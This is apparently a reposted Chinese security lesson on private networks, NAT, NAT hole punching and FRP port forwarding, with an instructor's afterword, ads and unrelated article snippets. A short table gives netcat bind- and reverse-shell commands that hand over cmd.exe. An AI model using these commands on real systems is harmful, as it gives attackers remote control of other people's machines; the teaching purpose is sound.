内网穿透端口映射内外网反弹 shell 回顾

内网穿透&端口映射&内外网反弹 shell 回顾


内网概念

  • 我们常说的内网,一般指的是非公有 IPv4 地址的网络
  • 比如学校机房里的电脑一般为私有网络,家里的网络也是私有网络

私有网络的范围与划分

ipaddressarea
A 类地址10.0.0.0~10.255.255.255
B 类地址172.16.0.0 ~172.31.255.255
C 类地址192.168.0.0~192.168.255.255

image-20220620191736728

培训、环境、资料、考证
公众号:Geek极安云科
网络安全群:624032112
网络系统管理群:223627079 
网络建设与运维群:870959784 
移动应用开发群:548238632
短视频制作群:744125867
大数据应用开发群:962141356 
物联网应用与服务群:967579409
物联网应用开发群:884879404极安云科校企合作经理VX liuliu5488233极安云科专注于技能提升,赋能
2024年广东省高校的技能提升,受赋能的客户院校均获奖!
2024年江苏省赛一二等奖前13名中,我们赋能客户占五支队伍!
2024年湖南省赛赋能三所院校均获奖!
2024年山东省赛赋能两所院校均获奖!
2024年湖北省赛赋能参赛院校九支队伍,共计斩获一等奖2项、三等奖7项!

外网概念

  • 外网一般持有全球唯一的 IPv4 地址
  • 比如我的腾讯云服务器:114.132.218.55

为什么要讲内外网?

  • 内网 IP 可达外网 IP,与之交互
  • 外网 IP 则无法直接找到内网 IP

Netcat 实验

  • 内网连接内网(正、反)
  • 内网连接外网(反)
  • 外网连接内网(正)
  • 外网连接外网(正、反)
被攻击 PCOur PCexplanation
nc -e cmd.exe -lvnp 1234nc 10.10.10.1 1234正向 shell
nc -e cmd.exe 10.10.10.4 1234nc -lvnp 1234反向 shell

NAT 概念

网络地址转换(Network Address Translation,NAT)

NAT 是一种将私有(保留)地址转化为合法 IP 地址的转换技术

  • 它被广泛应用于各种类型 Internet 接入方式和各种类型的网络中
  • NAT 可以完成重用地址,并且对于内部的网络结构可以实现对外隐蔽。
  • NAT 设备自动屏蔽了非内网主机主动发起的连接

为什么要使用 NAT

	IPv4 网络地址紧缺,从而出现了私有网段,来补充地址,但私有网段不可访问 internet 所以出现了 NAT 地址转换,将私有地址,转换为公网 IP 从而访问 internetNAT 的作用也就在于:将私有IP地址,转化为公网的合法 IP

NAT 实验解析

端口映射

该理论已被收录至空间安全理论

内网穿透

内网穿透,也叫 NAT 穿透

进行内网穿透的目的:使用内网穿透是为了使具有某一个特定源 IP 地址源端口号的数据包,不被 NAT 设备屏蔽而正确路由到内网主机

应用在身边的内网穿透技术

  • 电脑两节点音频接收、转发

为什么要使用内网穿透

  • NAT 设备自动屏蔽了非内网主机主动发起的连接。从外网发往内网的数据包将被 NAT设备丢弃
  • 位于不同 NAT 设备之后的主机之间无法直接交换信息
  • 外部主机要与内网主机相互通信,必须由内网主机主动发起连接
  • 虽然保护了内网主机免于来自外部网络的攻击,另一方面也为 P2P 通信带来了一定困难

穿透模拟-通信双方一台 PC 位于 NAT 之后

环境:

PC A:拥有内网 IP,能够出网(NAT 转换)
PC B:拥有公网 IP,能够直接出网

如下图一般:

image-20220701130854572

  • PC A 位于 NAT 之后,并有用 IP 地址和对应端口 192.168.1.100:1234
  • PC B 位于 NAT 之前,并拥有 IP 地址和对应端口 218.5.18.2:1234
  • PC A 出网借助 NAT 转换,公网地址为 114.5.2.3

  • 由于 PC B 有一个公网 IP,所以 PC A 可以直接通过 TCP 协议连接到它的 IP 地址 ``
  • 然而如果 PC B 向 PC A 主动发起连接,则不会成功

此时就需要一个公有的服务器辅助进行内网穿透

  1. PC A 和 PC B 向服务器发起登录请求,并保持一个 TCP 或 UDP 连接
  2. 服务器记录他俩的 IP 地址和端口号

这里服务器对 PC A 是记录经过 NAT 转换之后的 IP 和端口号

  1. 当 PC B 想连接 PC A 时,首先向服务器提出请求,服务器在收到请求后向 PC A 发出打洞命令,并讲 PC B 的 IP 地址和端口号发送给 PC A
  2. PC A 根据收到 IP 地址和端口号向 PC B 发起 TCP 或 UDP 连接
  3. 最终 PC A 和 PC B 之间便可建立数据传输通道

穿透模拟-通信双方 PC 都位于 NAT 之后

环境:

两台主机都处于内网中,拥有出网条件(NAT 转换)

如下图一般:

image-20220701133313030

  • PCA 位于 NAT 之后,并有用 IP 地址和对应端口 192.168.1.100:1234
  • PCB 位于 NAT 之后,并拥有 IP 地址和对应端口 172.24.1.100:6000
  • PCA 出网借助 NATA 转换,公网地址为 218.5.18.2:51200
  • PCA 出网借助 NATB 转换,公网地址为 114.5.2.3:5000

服务器记录的 IP:端口 是 PCA 和 PCB 经过 NAT 转换之后的 IP:端口

此时,PCA 和 PCB 之间任意一方的连接请求都会被对方的 NAT 设备屏蔽

  1. PC A 首先向服务器提出连接请求,服务器将 PCA 的 NAT 218.5.18.2:51200 发送给 PCB,并向 PCB 发出打洞命令
  2. PCB 收到服务器的打洞命令后,首先向 PCA 的 NAT 地址 218.5.18.2:51200 发送一定数目的 UDP 探测包或 TCP 连接请求,然后在 NATB 上打一个方向为 218.5.18.2:51200 的洞
  3. PCB 向服务器报告打洞完成
  4. 服务器收到 PCB 的报告后,将 PCB 的公网 IP 地址和端口号 114.32.4.251:5000 发送给 PCA
  5. 此时 NATB 以及留下对应于 NATA 的 218.5.18.2:51200 洞,PCA 向 114.32.4.251:5000 将不会被丢弃 (这与端口映射的原理很相似)

内网穿透原理总结

  • NAT设备(或软件)维护一个状态表,用来把内部网络的私有 IP 地址映射到外部网络的合法 IP 地址上去

  • 每个包头中的 IP 地址和端口信息在 NAT 设备(或软件)中都被修改并翻译成一正确的 IP 地址发往下一级

  • 当一个内网主机通过 NAT 打开一个“外出”的 TCP 或 UDP 会话时,NAPT 分配给这个会话一个公网 IP 和端口,用来接收外网的响应的数据包,并经过转换通知内部网的主机

  • 这样,NAPT在 [私有IP:私有端口][公网IP:公网端口] 之间建立了一个端口绑定。

应用 FRP 内网穿透技术-使 PC 达到公网可寻

FRP Server 端配置

[common]
bind_port = 7000
dashboard_port = 7500
token = qwese.
dashboard_user = admin
dashboard_pwd = qwese.
vhost_http_port = 10080
vhost_https_port = 10443
tls_enable = true

FRP Client 端配置

client 端也就是我们要端口映射的对象,这里映射为 HTTP 协议

[common]
server_addr =114.132.218.55
server_port = 7000
token = qwese.[perse.windowsPC-http2]
type = tcp
local_ip = 127.0.0.1
local_port = 80
remote_port = 9002

image-20220701160420035

应用 FRP 点对点内网穿透技术-PC 达到公网可寻

http://blog.demon.ren/685.htm

后言

我自己想了一下,我没敢去看,上次那课实在是讲太烂了

我也是第一次讲课,很多地方没有讲好,这是没法避免的,所以我也尽力在让自己讲好,在改变

所有学习的过程都是这样,不一定是在安全技术上

不能说,学安全就高人一等,学艺术,学文学,学数学,学哲学就高人一等

而是我们能否在学习的过程中,保持一个学徒的心

都说人看的多了,学的多了,就知道自己的渺小了,因为眼界和想法跟以前不一样

虽然我们的课听的人少,但是我也希望能把技术和思路都尽数教给大家,虽然我们的技术不在一个层面,哈哈这是时间的问题,我相信大家总有一天说不定也能超过我

再说说为什么我们叫深蓝网络安全啊,先前我和你们坤哥创建了这么一个安全团队,但实际上就咋一个老 B 登在负责安全方面的一些技术,咋们之前本来想叫个 Perse 安全,意为恒心,希望在学习安全技术上,能够保持初心,啊不要去碰黑产对吧,同样也不要去做一些破坏他人安全和隐私的事,我们学这些说大了是为了国家网络空间安全,说小了哎,就是我想学,想装逼,想赚钱

但是我也希望能把技术和思路都尽数教给大家,虽然我们的技术不在一个层面,哈哈这是时间的问题,我相信大家总有一天说不定也能超过我

再说说为什么我们叫深蓝网络安全啊,先前我和你们坤哥创建了这么一个安全团队,但实际上就咋一个老 B 登在负责安全方面的一些技术,咋们之前本来想叫个 Perse 安全,意为恒心,希望在学习安全技术上,能够保持初心,啊不要去碰黑产对吧,同样也不要去做一些破坏他人安全和隐私的事,我们学这些说大了是为了国家网络空间安全,说小了哎,就是我想学,想装逼,想赚钱

所以我希望大家,能够多多评论和思考以及多问一些问题,并去实践我们每节课的演练过程

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/pingmian/16830.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

521源码-免费下载-WordPress全能自动采集与发布插件 – WP-AutoPostPro 汉化版

更多网站源码学习教程,请点击👉-521源码-👈获取最新资源 本工具下载地址:WordPress全能自动采集与发布插件 – WP-AutoPostPro 汉化版 - 521源码 WP-AutoPostPro是一款出类拔萃的WordPress自动采集发布插件,凭借其卓…

Yolov5保姆及入门-含源码【推荐】

前言 YOLO系列模型作为一种实时目标检测算法,自从YOLO1发布以来,就以其检测速度快、准确率高而受到广泛关注。随着技术的迭代,YOLO系列已经发展到了YOLO8。本文将详细介绍YOLO5的技术规格、应用场景、特点以及性能对比。 yolov5源码下载地址…

海外真实机房给云手机上“福利”

不论是做出海跨境方面的业务,大家都不自觉的把目光放在了海外的云手机上,尤其是有直播群控,引流获客这样的一个刚需,只有处在海外真实环境了,那么在一些活动的过程中,才能表现的更稳,而不会触发…

Android --- 交换两个布局

准备布局 exchange_out_layout exchange_in_layout <?xml version"1.0" encoding"utf-8"?> <LinearLayout xmlns:android"http://schemas.android.com/apk/res/android"xmlns:tools"http://schemas.android.com/tools"andr…

免费,Python蓝桥杯等级考试真题--第13级(含答案解析和代码)

Python蓝桥杯等级考试真题–第13级 一、 选择题 答案&#xff1a;C 解析&#xff1a;正向下标由0开始&#xff0c;下标3代表第四个元素&#xff0c;故答案为C。 答案&#xff1a;A 解析&#xff1a;range&#xff08;0,4&#xff09;的取前不取后&#xff0c;元组的符号是小括…

【CGAL】Region_Growing 检测平面并保存

目录 说明一、算法原理二、代码展示三、结果展示 说明 本篇博客主要介绍CGAL库中使用Region_Growing算法检测平面的算法原理、代码以及最后展示结果。其中&#xff0c;代码部分在CGAL官方库中提供了例子。我在其中做了一些修改&#xff0c;使其可以读取PLY类型的点云文件&…

【搭建大语言模型】使用LocalGPT搭建本地大语言模型服务并实现远程访问进行交互

文章目录 前言环境准备1. localGPT部署2. 启动和使用3. 安装cpolar 内网穿透4. 创建公网地址5. 公网地址访问6. 固定公网地址 前言 本文主要介绍如何本地部署LocalGPT并实现远程访问&#xff0c;由于localGPT只能通过本地局域网IP地址端口号的形式访问&#xff0c;实现远程访问…

设计模式15——享元模式

写文章的初心主要是用来帮助自己快速的回忆这个模式该怎么用&#xff0c;主要是下面的UML图可以起到大作用&#xff0c;在你学习过一遍以后可能会遗忘&#xff0c;忘记了不要紧&#xff0c;只要看一眼UML图就能想起来了。同时也请大家多多指教。 享元模式&#xff08;Flyweigh…

Linux信号:信号的概念及意义

目录 一、什么是信号 kill-l查看信号 二、信号的产生 2.1系统调用 kill raise abort 2.2软件条件 13)SIGPIPE pipe信号 14&#xff09;SIGAKARM alarm信号 2.2硬件中断 2.3异常 8)SIGFPE 除0异常 11)SIGSEGV 野指针 2.4信号处理的常见方式 三、Core Dump和term…

一文详解SaaS增长模式:PLG、MLG、SLG哪种更适合你?

在SaaS&#xff08;软件即服务&#xff09;的领域中&#xff0c;增长策略的选择对于企业的成功至关重要。其中&#xff0c;PLG&#xff08;产品驱动增长&#xff09;、MLG&#xff08;市场驱动增长&#xff09;和SLG&#xff08;销售驱动增长&#xff09;是三种常见的策略&…

Centos 7 安装刻录至服务器

前言 在日常测试中&#xff0c;会遇到很多安装的场景&#xff0c;今天给大家讲一下centos 7 的安装&#xff0c;希望对大家有所帮助。 一.下载镜像 地址如下&#xff1a; centos官方镜像下载地址https://www.centos.org/download/ 按照需求依次点击下载 二.镜像刻录 镜像刻…

强悍!轻量级 Viedo Download 项目!!【送源码】

今天给大家分享一个非常轻量实用的命令行视频下载项目&#xff1a;Lux。 项目简介 Lux是一款基于Golang编写的快速、简单的视频下载库和命令行工具&#xff0c;支持众多个流行的视频网站&#xff0c;包括 YouTube、Bilibili、优酷、爱奇艺、腾讯视频、抖音快手等。 界面简洁易…

重生之 SpringBoot3 入门保姆级学习(07、整合 Redis 案例)

重生之 SpringBoot3 入门保姆级学习&#xff08;07、整合 Redis 案例&#xff09; 导入 Maven 依赖并刷新 Maven <dependencies><!--springboot3 Web 依赖--><dependency><groupId>org.springframework.boot</groupId><artifactId>spring…

高效至臻,Media Encoder 2024 for Mac——您的专业媒体处理首选

Media Encoder 2024 for Mac是一款专为Mac用户打造的专业视频和音频编码工具&#xff0c;凭借其卓越的编码能力和智能编辑功能&#xff0c;为用户提供了前所未有的媒体处理体验。无论是高清、4K还是8K的视频文件&#xff0c;Media Encoder 2024都能轻松驾驭&#xff0c;确保在压…

学习javascript的函数

1.什么是函数&#xff1f; 可以重复被使用的代码块 作用&#xff1a;函数可以把具有相同或者相似逻辑的代码“包裹起来”&#xff0c;有利于代码的复用。 2.函数的基本使用 1.定义函数 利用关键字Function 定义函数&#xff08;声明函数&#xff09; function 函数名(){函…

4、xss-labs之level4、lecel5

一、level4 1、测试分析 level4跟之前的3一样的思路&#xff0c;闭合value的值&#xff0c;但是通过双引号闭合&#xff0c;然后使用onclick的属性弹窗绕过 输入3的payload&#xff1a; 2、所以构造payload payload&#xff1a;"οnclickalert(1)// 二、level5 1、测…

uniapp高校二手书交易商城回收系统 微信小程序python+java+node.js+php

每年因为有大量的学生在接受教育&#xff0c;每到大学毕业季的时候&#xff0c;所使用的大量书籍对他们自己来说&#xff0c;很多是没有用&#xff0c;同时由于书籍多和不方便携带&#xff0c;导致很多大学生在毕业时将教材直接丢弃是在校大学生处理已用教材的一种主要方式。然…

数据结构-二叉树系统性学习(四万字精讲拿捏)

前言 这里我会从二叉树的概念开始讲解&#xff0c;其次涉及到概念结构&#xff0c;以及堆的实现和堆排序。 目的是&#xff0c;堆比二叉树简单&#xff0c;同时堆本质上是二叉树的其中一种情况&#xff0c;堆属于二叉树顺序结构的实现 最后完善二叉树的讲解&#xff0c;也就是…

Java与Gradle 的版本兼容性矩阵验证

1.下面这个表格显示了java和gradle的版本兼容性情况 2.根据上面这份表格理解&#xff0c;是不是java17就需要gradle 7.3之后来支持。用android studio 来试验一下: jdk选择: build成功: 说明JDK17并不是一定需要Gradle 7.3之后版本 3.使用JDK1.8、JDK11验证一下Grade 7.2是否可…

四款开源电子表格组件,轻松集成到你的项目

hello&#xff0c;大家好&#xff0c;我是徐小夕。之前和大家分享了很多可视化&#xff0c;零代码和前端工程化的最佳实践&#xff0c;最近在研究在线电子表格的技术实现&#xff0c;发现了几个优质的开源电子表格项目&#xff0c;这里和大家一起分享一下。 同时我也把其中一款…